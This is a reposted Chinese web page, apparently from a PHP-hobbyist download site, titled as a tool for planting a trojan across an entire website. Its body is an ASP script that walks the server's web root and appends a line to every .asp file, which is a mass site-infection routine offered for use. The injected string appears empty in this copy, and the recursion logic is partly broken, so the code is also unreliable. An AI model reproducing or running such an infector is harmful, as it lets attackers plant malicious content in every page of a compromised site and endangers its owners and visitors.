文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>全战插马【转】

全战插马【转】

时间:2007-11-06  来源:myswanlove

<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
 Set FSO = CreateObject("Scripting.FileSystemObject")
 on error resume next
 Set f = FSO.GetFolder(Path)
 Set fc2 = f.files
 For Each myfile in fc2
 
 If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
 Set FS1 = CreateObject("Scripting.FileSystemObject")
 Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
 tfile.writeline ""
 else
 InsertAllFiles(newpath)
 end if
 tfile.close
 Next
 Set fsubfolers = f.SubFolders
 For Each f1 in fsubfolers
 newpath=path&""&f1.name
 InsertAllFiles(newpath)
 
 Next
 set tfile=nothing
 Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
相关阅读 更多 +
排行榜 更多 +
杖剑传说切换技能方案指南

杖剑传说切换技能方案指南

冒险解谜 下载
都市毁灭模拟器

都市毁灭模拟器

音乐节奏 下载
神探诡事录器门位置一览

神探诡事录器门位置一览

冒险解谜 下载